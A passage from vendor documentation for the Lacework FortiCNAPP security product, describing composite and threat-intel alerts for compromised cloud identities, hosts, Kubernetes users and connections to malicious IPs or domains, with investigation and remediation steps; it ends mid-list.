User Logged In From New Location

This alert occurs when Lacework FortiCNAPP detects a known user logged in from a location not associated with the user.

Why this alert is important

User logins to the data center are often predictable—from a corporate office, through a VPN, or from a home office. Although home office IPs are often dynamically allocated, the geo-location does not change upon lease renewal. A user login from a new location may indicate compromised user credentials.

Investigation

If the anomalous login source location is not easily explained, contact the user and confirm the login.

Resolution

If the login is determined to be the result of compromised credentials, disable the account. Perform local forensics, look for signs of lateral movement, and an alternative method of persistence. Take the necessary steps to restore the host to a known, clean state as necessary.

Composite alerts reference

In *Alerts*, there are three categories of alerts: *Policy*, *Anomaly*, and *Composite*. Policy and anomaly alerts are triggered by a single type of observation. Composite alerts are triggered by a combination of multiple types of observations that, taken together, provide evidence of suspicious activity or a potential intrusion.

By combining different types of observations together that relate to the same entities over a period of time, Lacework FortiCNAPP:

- Produces higher-precision alerts than it would by raising alerts on these observations individually.
- Automates much of the investigation process to reduce the amount of time required for you to triage alerts.

Viewing composite alerts

Each composite alert provides a summary of the activity that triggered the alert, details about its importance, and information to assist with its resolution. This information is presented in the following tabs:

Details

The *Details* tab provides:

- *Alert Description*: A high-level summary of the alert.
- *Supporting Facts*: Details about the types of observations included in the alert.

Observations

The *Observations* tab provides:

- *Primary Entities*: A list of the identities and machines about which observations were made.
- *Intrusion Graph*: Selected entities involved in the alert as nodes and selected relationships between them as edges.
  - Nodes represent one or more entities of the same type. If a node includes more than one entity, a number in the upper right indicates the number of entities it includes. Click the node to view the list of entities.
  - Edges represent one or more relationships of the same type. If an edge includes more than one relationship, click the edge to view the list of specific relationships.
- *Observation Timeline*: Observations ordered chronologically by the first time each type of observation was seen for each primary entity.
  - Rows show the primary entity for the observation as well as other secondary entities selected as particularly relevant for the observation.
  - Click a row to show the full list of involved entities as well as a list of particularly relevant relationships between entities highlighted by that observation.

Available composite alerts

The following table shows the available composite alerts. Most composite alerts are organized by the type of entity suspected of compromise and the severity of the alert. The severity of the alert corresponds to how confident Lacework FortiCNAPP is that an intrusion is in progress.

	Severity High: Potential compromise	 Medium: Suspicious activity
AWS identity	Potentially Compromised AWS Keys	Suspicious Activity AWS User
Azure identity	Potentially Compromised Azure	Suspicious Activity Azure
GCP identity	Potentially Compromised GCP	Suspicious Activity GCP
Host machine	Potentially Compromised Host	Suspicious Activity Host
Kubernetes identity	Potentially Compromised K8s	Suspicious Activity K8s

The additional Potential Penetration Test alert identifies scenarios that resemble penetration testing but should be investigated as a potential compromise if the alert appears when no known penetration testing has occurred.

If signals sufficient to trigger a *Potentially Compromised* alert arrive for an identity or host after a *Suspicious Activity* alert has been raised:

- That medium-severity *Suspicious Activity* alert will stop evolving, and
- A new, high-severity *Potentially Compromised* alert will be created with a new alert ID.

This makes sure that the introduction of the medium-severity *Suspicious Activity* alerts will in no way reduce the detection efficacy of high-severity Potentially Compromised alerts. Additionally, workflows that trigger based on high-severity *Potentially Compromise*d alerts will still function as before.

It is possible for a composite alert to include entities of multiple of the above types that are all suspected of compromise. In that case the composite alert type will reflect one of those entity types.

Composite alerts relating to host machines and Kubernetes identities are available to all customers who have Lacework FortiCNAPP agents installed, regardless of cloud provider.

Potential Penetration Test

This alert occurs when Lacework FortiCNAPP detects evidence that indicates penetration testing (pentest) or red/blue/purple team activity in your cloud environment.

Why this alert is important

It is important to respond to suspected penetration testing activity quickly because real attackers often use the same tools that are used to probe for security weaknesses.

Why this might be just fine

It is possible that authorized penetration tests, red team, and purple team exercise scenarios are being performed.

Investigation

Use the recommendations below to investigate this alert:

- *Examine supporting evidence*: Click the *Events* tab to review potentially suspicious activities that occurred at the time of the alert.
- *Inspect suspicious binaries*: New processes may have been launched.
- *Analyze anomalous activities*: In *Supporting Facts* focus on any connections to malicious domains and hosts.

Resolution

Implement the following steps to remediate the alert:

- Patch any vulnerabilities in the system that the attacker may have exploited.
- Implement additional security measures.
- Conduct additional training for staff.

Potentially Compromised AWS Keys

This alert occurs when Lacework FortiCNAPP detects a potentially exposed AWS access key.

Why this alert is important

Access keys are one of the most common means of authentication used in AWS. A leaked access key can give any attacker access to your environment.

Why this might be just fine

There are possible scenarios that could result in false positives, including:

- *Regular key rotation*: AWS keys are often rotated as a security best practice. During key rotation, old keys are disabled, and new keys are generated. This process can trigger the alert, even though it's a normal security practice.
- *Temporary IAM user actions*: If a temporary IAM user performs actions that appear unusual but are legitimate, such as accessing resources from different locations or regions, it might trigger the alert.
- *Legitimate access from new locations*: Legitimate users or services might access AWS resources from new or unexpected locations. This change in access patterns could be flagged as suspicious but may be legitimate.

Investigation

Use the recommendations below to investigate this alert:

- *Examine supporting evidence*: Click the *Events* tab to review potentially suspicious activities that occurred at the time of the alert. These activities may include login attempts from unfamiliar locations, unusual user behavior, or the utilization of sensitive APIs.
- *Inspect IP addresses of suspicious logins*: Refer to the *What* section in the *Alert Details* to locate the IP address. If an IP address is outside of your organization's network or is otherwise unknown, the IP address should be blocked.
- *Analyze methods used by the identities in question*:
  - Click the identity name mentioned in the *What* section. This action filters the CloudTrail dossier to show only the activities associated with the user in question, enabling a focused analysis of the user's actions within the account.
  - If there is further evidence of suspicious activity indicating tactics such as discovery, enumeration, defense evasion, or exfiltration, it is crucial to initiate immediate remediation measures.

Resolution

Conduct the following steps to prevent any further misuse or potential privilege escalation:

1. Determine resources that are affected by the compromised access keys.
   - If keys are permitted with read and write access, revoke them by disabling them instead of deleting them.
   - If keys are permitted with read access to already public resources, rotate access keys.
   - If keys are permitted with write access, ensure the data's integrity and see if any modification is made. In case of any modification, restore the data to the previous stage, and disable the exposed keys.
2. Invalidate the credentials.
   - Disable root credentials
   - Disable IAM user credentials
3. Invalidate the temporary security credentials.
4. Restore access with new credentials.
5. Review access to your AWS account.
   - Check the AWS account for persistent or residual access.
   - Search the CloudTrail logs to understand what actions might have been performed on your AWS resources.
   - Delete any unrecognized or unauthorized resources.

Potentially Compromised Azure

This alert occurs when Lacework FortiCNAPP detects evidence suggesting a potential compromise or breach of security for resources or data within your Azure environment. This encompasses unauthorized access, data leaks, exploitation of vulnerabilities, or other malicious activities.

Why this alert is important

Your Azure environment serves as the host for sensitive data, including user information, financial records, proprietary business data, and more. Detecting compromises is vital to thwarting unauthorized access and the theft of this valuable information.

Why this might be just fine

There are possible scenarios that could result in false positives, including:

- Security auditing activity or penetration testing
- Anomalous administration activity
- Anomalous usage of sensitive operations

Investigation

Use the recommendations below to investigate this alert:

- *Examine supporting evidence*: Click the *Events* tab to review potentially suspicious activities that occurred at the time of the alert. These activities may include login attempts from unfamiliar locations, unusual user behavior, or the utilization of sensitive APIs.
- *Inspect IP addresses of suspicious logins*: Refer to the *What* section in the *Alert Details* to locate the IP address. If an IP address is outside of your organization's network or is otherwise unknown, the IP address should be blocked.
- *Analyze Operations used by the identities in question*:
  - Click the identity name mentioned in the *What* section. This action filters the Audit Logs dossier to show only the activities associated with the user in question, enabling a focused analysis of the user's actions within the account.
  - If there is further evidence of suspicious activity indicating tactics such as discovery, enumeration, defense evasion, or exfiltration, it is crucial to initiate immediate remediation measures.

Resolution

Implement the following steps to remediate compromised credentials in your Azure environment:

- Block any IP addresses confirmed as malicious during the investigation phase.
- Disable any identities that have been confirmed as compromised during the investigation phase.

- Use the AI assist for further reference of resolution.

Potentially Compromised GCP

This alert occurs when Lacework FortiCNAPP detects evidence suggesting a potential compromise or breach of security for resources or data within your Google Cloud environment. This encompasses unauthorized access, data leaks, exploitation of vulnerabilities, or other malicious activities.

Why this alert is important

Your Google Cloud environment serves as the host for sensitive data, including user information, financial records, proprietary business data, and more. Detecting compromises is vital to thwarting unauthorized access and the theft of this valuable information.

Why this might be just fine

There are possible scenarios that could result in false positives, including:

- Changes in configurations, permissions, or access rights
- Automated updates or patches
- Network issues, glitches, or fluctuations in traffic

Investigation

Use the recommendations below to investigate this alert:

- *Examine supporting evidence*: Click the *Events* tab to review potentially suspicious activities that occurred at the time of the alert. These activities may include login attempts from unfamiliar locations, unusual user behavior, or the utilization of sensitive APIs.
- *Inspect IP addresses of suspicious logins*: Refer to the *What* section in the *Alert Details* to locate the IP address. If an IP address is outside of your organization's network or is otherwise unknown, the IP address should be blocked.
- *Analyze methods used by the identities in question*:
  - Click the identity name mentioned in the *What* section. This action filters the Audit Logs dossier to show only the activities associated with the user in question, enabling a focused analysis of the user's actions within the account.
  - If there is further evidence of suspicious activity indicating tactics such as discovery, enumeration, defense evasion, or exfiltration, it is crucial to initiate immediate remediation measures.

Resolution

Implement the following steps to remediate compromised credentials in your Google Cloud environment:

- Block any IP addresses confirmed as malicious during the investigation phase.
- Disable any identities that have been confirmed as compromised during the investigation phase.

Potentially Compromised Host

This alert occurs when Lacework FortiCNAPP detects a suspicious activity on a host or endpoint may suggest it has been compromised. Various activities, such as unauthorized access attempts, unusual system behavior, or malicious software, may trigger this alert.

Why this alert is important

This alert indicates that unauthorized or malicious activity is occurring on a host or endpoint within your network. This activity could result in serious security breaches, data theft, or system damage if left undetected or unaddressed.

Investigation

Investigating a potential host compromise involves thoroughly analyzing the affected host or endpoint to identify any signs of unauthorized or malicious activity.

Here are some steps you can leverage for your investigation:

1. Isolate the affected host from the network to prevent further unauthorized access or activity.
2. Collect all available information about the host, including system logs, network traffic logs, and other relevant data.
3. Use forensic analysis techniques to examine the system and identify any signs of unauthorized access or activity. This may include looking for suspicious files, network connections, or system configuration changes.
4. Run anti-malware scans on the affected host to check for any malicious software or code that may have been installed. Determine how the host was compromised and whether the attack originated from inside or outside the network.

Resolution

To resolve this alert, you can follow these general steps:

1. Use anti-malware tools to remove any malicious software or code that may have been installed on the host.
2. Patch any vulnerabilities in the system that the attacker may have exploited.
3. Reset all user account passwords on the affected host and any administrative passwords associated with the host.
4. If necessary, restore the affected host from a known good backup to ensure it is completely free from malicious activity.
5. Review your organization's security controls to identify any gaps or weaknesses that may have allowed the compromise to occur.
6. Monitor the host and network for further signs of unauthorized or malicious activity.

Potentially Compromised K8s

This alert occurs when Lacework FortiCNAPP detects evidence suggesting potentially compromised Kubernetes (K8s) user credentials. This alert is supported for EKS and GKE environments.

Why this alert is important

It is important to manage K8s credentials properly because they provide users with access to the K8s API and allow them to interact with K8s resources in the cluster or a particular cluster namespace.

Why this might be just fine

There are possible scenarios that could result in false positives, including:

- Changes in configurations, permissions, or access rights
- Automated updates or patches

Investigation

Use the recommendations below to investigate this alert:

- *Examine supporting evidence*: Click the *Events* tab to review potentially suspicious activities that occurred at the time of the alert. These activities may include unusual user behavior, allowed or forbidden sensitive K8s APIs, and suspicious IPs from which the APIs are triggered
- *Inspect suspicious IP addresses triggering K8s APIs*: Suspicious IPs are often the first indicator of potential compromise. Analyze the geolocation, network reputation, and historical activities of these IPs. If the IPs are marked as malicious in supporting facts, it is a very strong indicator that the K8s user credential is compromised.
- *Analyze anomalous K8s API calls*: In *Supporting Facts*, focus on any K8s APIs that deviate from the baseline behavior of the responsible user. Look for unusual patterns such as accessing APIs that the user normally does not interact with, or APIs that have high privileges (for example, CreateClusterroles_AllResources). This step helps in identifying the scope and nature of the unusual activities.
- *Investigate resources accessed by the user*: Refer to *Supporting Facts* to scrutinize the resources that have been accessed or modified by the user. This includes examining the K8s cluster ID, namespace, resource names, and specific API calls made and evaluating the sensitivity and significance of the accessed resources. Understanding the extent of access can help in determining the potential impact of the breach.
- *Identify forbidden K8s API calls*: In *Supporting Facts*, pay special attention to any forbidden APIs made by the user. These are attempts to access resources or perform actions that the user is not authorized to. This could indicate an attempt to escalate privileges or discover sensitive areas of the infrastructure.
- *Review successful sensitive API calls*: Finally, review all successful sensitive API calls made by the user as documented in *Supporting Facts*. This includes actions that may lead to data exfiltration, infrastructure manipulation, or other critical changes. This step is crucial for understanding the actual impact of the compromise and for identifying any immediate actions required to mitigate the risk.

Resolution

Implement the following steps to remediate compromised users in your K8s environment:

- Immediately revoke the credentials of the compromised K8s user. This is the most urgent step to prevent further unauthorized access.
- Restrict access to the K8s API server to only trusted IPs or networks. This step is crucial to reduce the attack surface.
- Block all suspicious IPs that have been identified as triggering K8s APIs. Conduct analysis on these IPs to understand the source and extent of the threat.
- Review all anomalous K8s API calls made by the compromised user and initiate a rollback or remediation process for any malicious or unauthorized changes.
- Secure the resources that were accessed or touched by the compromised user and implement continuous monitoring on these resources to detect any further malicious activity.
- Evaluate the access permissions and roles assigned to the user to ensure they align with the principle of least privilege. Update and reinforce the permissions settings to prevent similar breaches.

Suspicious Activity AWS User

This alert occurs when Lacework FortiCNAPP detects suspicious activity related to one or more AWS identities, but with a lower confidence level than a Potentially Compromised AWS Keys alert. As with that more severe alert, if this suspicious activity corresponds to a genuine intrusion it is likely due to a leak or theft of AWS access keys.

Why this alert is important

This alert could represent an intrusion in its early stages where Lacework FortiCNAPP has not observed enough of the attacker's activity to distinguish between that and background behaviors.

Investigation

See Investigation on page 156 in Potentially Compromised AWS Keys on page 155.

Resolution

See Resolution on page 156 in Potentially Compromised AWS Keys on page 155.

Suspicious Activity Azure

This alert occurs when Lacework FortiCNAPP detects suspicious activity related to one or more Azure identities, but with a lower confidence level than a Potentially Compromised Azure alert.

Why this alert is important

This alert could represent an intrusion in its early stages where Lacework FortiCNAPP has not observed enough of the attacker's activity to distinguish between that and background behaviors.

Investigation

See Investigation on page 157 in Potentially Compromised Azure on page 157.

Resolution

See Resolution on page 157 in Potentially Compromised Azure on page 157.

Suspicious Activity GCP

This alert occurs when Lacework FortiCNAPP detects suspicious activity related to one or more Google Cloud identities, but with a lower confidence level than a Potentially Compromised GCP alert.

Why this alert is important

This alert could represent an intrusion in its early stages where Lacework FortiCNAPP has not observed enough of the attacker's activity to distinguish between that and background behaviors.

Investigation

See Investigation on page 158 in Potentially Compromised GCP on page 158.

Resolution

See Resolution on page 158 in Potentially Compromised GCP on page 158.

Suspicious Activity Host

This alert occurs when Lacework FortiCNAPP detects suspicious activity related to one or more host machines, but with a lower confidence level than a Potentially Compromised Host alert.

Why this alert is important

This alert could represent an intrusion in its early stages where Lacework FortiCNAPP has not observed enough of the attacker's activity to distinguish between that and background behaviors.

Investigation

See Investigation on page 159 in Potentially Compromised Host on page 159.

Resolution

See Resolution on page 159 in Potentially Compromised Host on page 159.

Suspicious Activity K8s

This alert occurs when Lacework FortiCNAPP detects suspicious activity related to one or more Kubernetes identities, but with a lower confidence level than a Potentially Compromised K8s alert.

Why this alert is important

This alert could represent an intrusion in its early stages where Lacework FortiCNAPP has not observed enough of the attacker's activity to distinguish between that and background behaviors.

Investigation

See Investigation on page 160 in Potentially Compromised K8s on page 160.

Resolution

See Resolution on page 161 in Potentially Compromised K8s on page 160.

Threat intel alerts reference

This section provides information about the available threat intel alerts.

Threat intel alerts provide warning of potential threats based on the latest intelligence and threat analysis. Each alert provides supporting facts that can be useful to you when investigating or implementing remediation steps.

For each documented alert, the following information is provided:

- A summary of the alert.
- Why the alert is important.
- Information about investigating the event that triggered the alert.
- Information about how to resolve the alert.

Advantages of Threat Intel alerts

The following are key advantages of Lacework FortiCNAPP's threat intel alerts, contributing to our prevention and detection cybersecurity strategies:

- *Dynamic Severity Calculation* - Our system determines severity based on the number of threat intel providers marking the Indicators of Compromise (IOC) as malicious, resulting in more precise threat assessment and prioritization. This reduces false positives and enhances accuracy for customers.
- *Leveraging Customer Databases* - We utilize Lacework FortiCNAPP Customer Databases (CDBs) containing attacking external IP addresses to power indicator-based detection approach. This enables more accurate measurement of severity.
  - *Targeted Customer Mapping*: Severity levels dynamically consider the number of targeted customers for an indicator, providing an accurate representation of potential threats and estimated impact across Lacework FortiCNAPP's customer base.
  - *Daily IOC Database Updates*: Our IOC database is now updated daily, ensuring up-to-date and fresh data.
  - *Automated Time-To-Live (TTL) Evaluation*: A daily automated process evaluates the time to live (TTL) of an IOC, ensuring the database remains current and relevant. We have a 90-day maximum retention period by default.
- *Enhanced Tag System* - We have revamped the tag system to provide more contextual information in the Console.
  - *Malicious Intel Provider Hit Count*: Tags now include the hit count of malicious intel providers, offering additional insight.
  - *Additional Filtration Layer*: A new filtration layer excludes specific Autonomous System Number (ASN) owners and networks from VirusTotal. Contact Fortinet Support for the list of excluded ASN owners.

These advancements strengthen Lacework FortiCNAPP's threat intel alerts, empowering organizations with greater visibility and actionable intelligence for comprehensive cybersecurity.

Inbound IOC alerts are assigned a severity one level lower compared to outbound alerts. For example, if an IOC is identified as malicious by 10 or more providers, it will be classified as *Medium* severity for inbound connections and *High* severity for outbound connections. For more information, refer to Alert Severity.

Bad External Client DNS

This alert occurs when Lacework FortiCNAPP detects an external host, that has been flagged as malicious by intelligence sources, connects to an internal host. If an application cannot be associated with a connection, Lacework FortiCNAPP generates a machine alert.

Why this alert is important

This alert typically indicates that an external host associated with various attacks is attempting to connect to an Internet-facing service in your infrastructure. These connection attempts may include automated port scanning, service discovery, brute-forcing, or application exploitation. Such an alert may highlight services that have been mistakenly exposed to the Internet.

Investigation

Investigate threat tags and any open source information to determine what activity has been associated with this external host in the past. Examine the number of connections and size of data transfer for the connections to determine if meaningful data has been transferred - over 10 KB per connection. If the target application requires a password, review logs for successful login activity from the remote IP.

Resolution

Determine if the activity associated with the external host was successful. If successful, remediate damaged services, inspect for signs of persistence and lateral movement. If possible, block future communications from the host. Additionally, determine if the application in question should be Internet-accessible.

Bad External Client IP Address

This alert occurs when Lacework FortiCNAPP detects attempted connections from known malicious IPs to processes in your infrastructure. These connections are flagged by Lacework FortiCNAPP based on threat intelligence sources.

This alert is triggered once every 24 hours, summarizing all attempted connections from these bad IPs to software processes across your monitored infrastructure. For instance, it provides a daily summary of connection attempts to processes such as sshd (SSH) or Nginx across all infrastructure.

This alert does not confirm successful connections, and further investigation is required to assess any potential malicious activity.

Why this alert is important

Attackers frequently scan the internet for vulnerabilities and misconfigured services such as SSH interfaces with weak passwords. This alert summarizes such activity that occurs within a 24-hour timeframe, helping you identify probed processes or services.

For instance, if you have an internal policy that strictly prohibits SSH access except through a private bastion host requiring VPN authentication, any connection from a bad external client IP address to an SSH service should raise concerns. This alert can help identify instances where SSH has been inadvertently exposed externally within your infrastructure.

Why this might be just fine

Certain services, especially those that are customer-facing and revenue-generating, may require public accessibility, making them susceptible to scanning from malicious IP addresses. Unless there is additional evidence such as subsequent alerts, successful logins, or indications of tampering, this alert can be treated as informational in nature.

Investigation

Each instance of this alert requires investigation. When examining the *Alert Details* in the Console, direct your attention to the following critical areas:

1. Review the *What* section to verify whether the entities or applications mentioned in this alert should be exposed to the internet. Incorrect exposure of services, especially with weak or default passwords on their administrative interfaces, can lead to unauthorized access by attackers.
2. Review the *Where* section to obtain the number of connections and the data transfer size associated with each connection. Consider investigating further if the data transferred exceeds 10 KB per connection, as this may indicate the exchange of significant information.
3. Investigate machines listed in the *What* section where sshd (SSH) is involved by clicking the hostname and access the *User Login Activity* and *Bad Login Summary* cards. This will provide insights into any attempted SSH connections from bad IPs and whether they were successful.

Resolution

If the activity associated with IP was successful, remediate damaged services, inspect for signs of persistence and lateral movement. If possible, block future communications from the IP. Additionally, determine if the application in question should be internet-accessible.

Bad External Client IP Address Connection

This alert occurs when Lacework FortiCNAPP detects an external IP address that has been flagged as malicious by intelligence sources connects to a process on a host running a Lacework FortiCNAPP agent.

Why this alert is important

This alert typically indicates that an IP address associated with various attacks is attempting to connect to an Internet-facing service in your infrastructure. These connection attempts may include automated port scanning, service discovery, brute-forcing, or application exploitation. Such an alert may highlight services that have been mistakenly exposed to the Internet.

Investigation

Investigate threat tags and any open source information to determine what activity has been associated with this IP address in the past. Examine the number of connections and size of data transfer for the connections to determine if meaningful data has been transferred - over 10 KB per connection. If the target application requires a password, review logs for successful login activity from the remote IP.

Resolution

Determine if the activity associated with IP was successful. If successful, remediate damaged services, inspect for signs of persistence and lateral movement. If possible block future communications from the IP. Additionally, determine if the application in question should be Internet-accessible.

Bad External Client IP Address Connection To Vulnerable Application

This alert occurs when Lacework FortiCNAPP detects an external client with a potentially malicious IP address has attempted to connect to a vulnerable application running on a system. This alert is typically associated with a security breach or attempted breach.

Why this alert is important

Here are some possible explanations for this alert:

- The external client is attempting to exploit a known vulnerability in the vulnerable application to gain unauthorized access or steal sensitive information.
- The external client may be attempting to launch a distributed denial-of-service (DDoS) attack on the vulnerable application, causing it to become unresponsive or crash.
- The external client may be attempting to probe the system for weaknesses or vulnerabilities that can be exploited later.

It's important to take immediate action with this alert to prevent potential damage to the system or data.

Investigation

Follow these steps to investigate the alert:

1. Review the system or application logs to identify the source IP address of the external client that attempted to connect to the vulnerable application.
2. Determine if the IP address is associated with any known malicious activity or has a history of suspicious behavior. Several online resources and tools can help you identify and analyze IP addresses, such as threat intelligence feeds, IP reputation databases, and geolocation services.
3. Review the logs of the vulnerable application to determine if any unauthorized access or suspicious activity occurred. Look for unusual or unexpected requests, commands, or data transfers that may indicate an attempted breach or attack.
4. Check the configuration and version of the vulnerable application to determine if any known vulnerabilities exist. If vulnerabilities are discovered, take immediate steps to address them by patching or updating the application or implementing workarounds or mitigation measures.
5. Assess the overall security posture of the system and environment, including firewalls, intrusion detection and prevention systems, access controls, and authentication mechanisms. Ensure that all security controls are properly configured and functioning as intended.
6. Consider conducting a more comprehensive security assessment or penetration testing of the system and environment to identify additional vulnerabilities or weaknesses.

Resolution

Follow these steps to resolve the alert:

1. Immediately disconnect the external client IP address from the vulnerable application to prevent further unauthorized access or potential damage.
2. Review the system or application logs to determine if any data or information was compromised or exfiltrated during the attack. If data is lost or stolen, immediately notify any affected parties and implement appropriate measures to protect the data.
3. Patch or update the vulnerable application to address any known vulnerabilities or weaknesses exploited during the attack. Ensure that all security updates are applied promptly to prevent future attacks.
4. Conduct a comprehensive security assessment or penetration testing of the system and environment to identify additional vulnerabilities or weaknesses. Implement appropriate measures to address any identified vulnerabilities or weaknesses.
5. Consider implementing additional security controls such as firewalls, intrusion detection and prevention systems, access controls, and authentication mechanisms to strengthen the overall security posture of the system and environment.

Bad External Host

This alert occurs when Lacework FortiCNAPP detects an outbound connection has been made from your cloud deployment to an external domain that has not been accessed within the last 24 hours. Additionally, this domain has been flagged as potentially malicious by intelligence sources. Lacework FortiCNAPP identifies the destination domain name by conducting a reverse IP lookup, which correlates DNS queries and network connections observed in your cloud

deployment. Domain names are aggregated based on their second top-level domain, except for AWS domains, which are aggregated by service name (for example, ec2.amazonaws.com).

Why this alert is important

Software running in cloud deployments generally demonstrates consistent network behaviors. Therefore, when there is new access to external domains flagged as malicious, it necessitates investigation, particularly if the domain is unrelated to business operations.

When software establishes connections with potentially malicious domains, it could be due to various reasons, including:

- Supply chain attacks, where malicious code is injected into open source or third-party software.
- Malware reaching out to command and control servers.
- Attackers employing techniques like SSRF (Server-Side Request Forgery) or exploiting vulnerabilities within applications.

These scenarios highlight the importance of thoroughly examining and addressing any connections to potentially malicious domains to ensure the security and integrity of the cloud environment.

Why this might be just fine

There are instances where domains flagged as malicious may no longer pose a threat or have been inaccurately labeled by third-party intelligence sources. Additionally, in certain industries like Cryptocurrency trading, domains that are commonly communicated with may indicate crypto mining activity for organizations outside of that industry.

New tools are regularly introduced in cloud environments, which can result in accessing new domains that are necessary for their operation, including those owned by the software vendor. Therefore, the presence of a new domain alone does not automatically indicate a security breach. Nonetheless, it is important for the security team to monitor the behavior of all newly introduced software.

Certain use cases inherently require access to new domain names. For instance, reputation systems that browse user-supplied URLs or marketing software that gathers intelligence from across the web. Lacework FortiCNAPP identifies such software or hosts that interact with a significant number of external domains within your deployment. It aggregates these connections to avoid triggering alerts for individual domains. Further customization options for alert criteria can be found at Suppress Crawler-Related Alerts.

Investigation

Each instance of this alert requires investigation. When examining the *Alert Details* in the Console, direct your attention to the following critical areas:

1. Analyze the *Threat Tags* and *Threat Source* information in the *What* section. This will provide insights into why the flagged IP has been identified, such as being a possible Tor exit node.
2. Utilize the *Investigation* tab for a more in-depth analysis. The *Polygraphs*, *Process Details*, and *Container Image Information* cards can help identify the specific machine, process, or container associated with the connection. This information can assist in narrowing down the source of the connection. Additionally, review the metadata, including

tags, to determine the owner of the service or infrastructure involved. Contact the respective team to inquire if any changes were made during the alert timeframe that may explain the connection.

3. Check the *Where* section to verify if any data has been transferred. Investigate further if there is significant data transfer exceeding 10KB.
4. For an IP address that requires deeper investigation, click the IP address to access the network dashboard, which provides additional observations related to that address within your environment. You can also click the *View on VirusTotal* link at the top of the screen to access VirusTotal for a third-party analysis of the IP address.

Resolution

If the connection is malicious, take steps to restore the affected systems to a known clean state. If possible, implement sinkholing or blocking of the domain to prevent reinfection.

Bad External Server DNS Connection

This alert occurs when Lacework FortiCNAPP detects an internal host connected to an external host, identified by its domain name, has been flagged as malicious by intelligence sources. If a connection cannot be associated with an application, Lacework FortiCNAPP generates a machine alert.

Why this alert is important

This alert may be the result of a compromised application, malware, or an internal test. The malicious domain may be associated with C&C or crypto mining.

Investigation

Verify that the domain was added to a denylist or blocklist using other sources. Examine any data transfer and determine if meaningful data has been exchanged - over 10 KB per connection. Look at the direction of transfer. For example, if this machine does not typically connect to the Internet, even data transfer less than 10 KB per connection may indicate C&C (Command-and-Control).

Resolution

If the domain is confirmed to be malicious, block the URL and scan the host. Perform local forensics and then restore the host to a known good state.

Bad External Server Host Connection

This alert occurs when Lacework FortiCNAPP detects a bad external host, which has already been seen in the data center, is connected to via an application for the first time.

Why this alert is important

Connecting to a known, bad URL may be the result of a compromised application, malware or an internal test. The malicious IP is typically associated with C&C (Command-and-Control) or crypto-mining.

Investigation

Verify that the IP URL was added to a denylist or blocklist using other sources. Examine any data transfer and determine if meaningful data has been exchanged - over 10 KB per connection. Look at the direction of transfer, for example, if this application does not typically connect to the Internet, even data transfer less than 10 KB per connection may indicate C&C (Command-and-Control).

Resolution

If the URL is confirmed to be malicious, block the URL and scan the local machine. Perform local forensics and then restore the machine to a known good state.

Bad External Server IP Address

This alert occurs when Lacework FortiCNAPP detects an internal host connects to an IP address that has been flagged as malicious by intelligence sources. If an application cannot be associated with a connection, Lacework FortiCNAPP generates a machine alert.

Why this alert is important

Connecting to a known, bad IP may be the result of a compromised application or malware. The malicious IP is typically a C&C server, and a compromised host may be used for anything from crypto-mining to DDOS attacks.

Investigation

Verify that the IP was added to a denylist or blocklist using other sources. Examine any data transfer and determine if meaningful data has been exchanged - over 10 KB per connection. Look at the direction of transfer, for example, if this application does not typically connect to the Internet, even data transfer less than 10 KB per connection may indicate C&C (Command-and-Control).

Resolution

If the IP address is confirmed to be malicious, block the IP address and scan the local machine. Perform local forensics and then restore the machine to a known good state.

Bad External Server IP Address Connection

This alert occurs when Lacework FortiCNAPP detects an additional internal host connects to a previously seen IP address that has been flagged as malicious by intelligence sources. If an application cannot be associated with a connection, Lacework FortiCNAPP generates a machine alert.

Why this alert is important

Connecting to a known, bad IP address may be the result of a compromised application or malware. The malicious IP address is typically a C&C (Command-and-Control) server and a compromised host may be used for anything from crypto-mining to DDOS attacks. Since at least one other host has connected to the IP address, extra attention should be given if the IP address has been determined to be malicious

Investigation

Verify that the IP was added to a denylist or blocklist using other sources. Examine any data transfer and determine if meaningful data has been exchanged - over 10 KB per connection. Look at the direction of transfer, for example, if this application does not typically connect to the Internet, even data transfer less than 10 KB per connection may indicate C&C (Command-and-Control).

Resolution

If the IP address is confirmed to be malicious, block the IP address and scan the local machine. Perform local forensics and then restore the machine to a known good state.

Bad External Server IP Address Connection From Vulnerable Application

This alert occurs when Lacework FortiCNAPP detects an external server with a potentially malicious IP address establishes a connection to a vulnerable application.

This alert can indicate an attempt by an attacker to exploit a vulnerability in the application or to exfiltrate sensitive data from the organization's network.

Why this alert is important

The alert can indicate that an attacker is attempting to exploit a vulnerability in the application or network, steal data or install malware. If the attacker successfully establishes a connection, they may be able to exfiltrate sensitive data from the organization's network. Detecting the incident can help prevent data breaches and protect confidential information.

Investigation

Follow these steps to investigate the alert:

1. Identify the IP address of the external server that attempted to connect to the vulnerable application. This information should be available in the alert or log message associated with the alert.
2. Check if the external server's IP address is known to be malicious or has a history of attacks. This can be done by checking threat intelligence feeds or by performing a search on the IP address.
3. Check if the vulnerable application runs the latest version and all security patches are current. If not, take steps to update the application to the latest version.
4. Check the logs of the vulnerable application to see if any attempted exploits or attacks were associated with the connection from the external server.

Resolution

Follow these steps to resolve the alert:

1. If the connection was successful, immediately disconnect the external server and contain the attack's impact.
2. If the connection was legitimate, you can add the external server's IP address to an allowlist. If the connection was malicious, you might need to block the IP address or take other remedial measures.
3. It is also important to investigate why the vulnerable application was connected to a potentially malicious server in the first place. This may involve reviewing the application's network settings or configurations.
4. Implement security controls such as firewalls and intrusion detection systems or applying software patches to vulnerable applications.

Inbound Connection From a Bad External IP Address

This alert occurs when Lacework FortiCNAPP detects a bad external IP address is connecting to one or more internal hosts.

Why this alert is important

The term "Bad IP address" typically refers to malicious activity by the owner of the address. Inbound connections from bad external IP addresses can signify a potential cyber attack, such as a port scan, a brute-force attack, or a phishing attempt. For example, an attacker may attempt to exploit a vulnerability in a network service by connecting to a specific port from a known bad IP address.

Investigation

The following is helpful guidance that helps to identify malicious traffic on your network:

- Continuously inspect the top hosts generating the highest traffic volume. In most cases, after malware infects a host, it will try to make an outbound connection back to a server. An attacker uses this connection to send commands to the infected host. The infected host may download more malware, scan the network for other hosts to infect, or exfiltrate data. These behaviors sometimes lead to ongoing traffic patterns that indicate a breach.
- Look for anomalies. In addition to checking hosts with these characteristics, network administrators should be aware of the usual traffic that flows through the network. If a host starts sending an abnormal amount of data, malware has infected the host and is performing unwanted actions. Monitor individual hosts' connections, data transfer, and real connections and inspect variations.
- Watch for "deny" entries in network firewall logs. An external host trying to connect to a blocked port multiple times could result from misconfiguration or an attacker.
- Check for traffic from desktops and laptops trying to connect to each other. Desktops and laptops on the network typically have no reason to connect to one another.

Resolution

Follow these recommended steps to prevent inbound connections from a bad IP address:

- Regularly monitor top IP addresses that match one or more of the following patterns to make sure the traffic is legitimate:
  - The longest connections
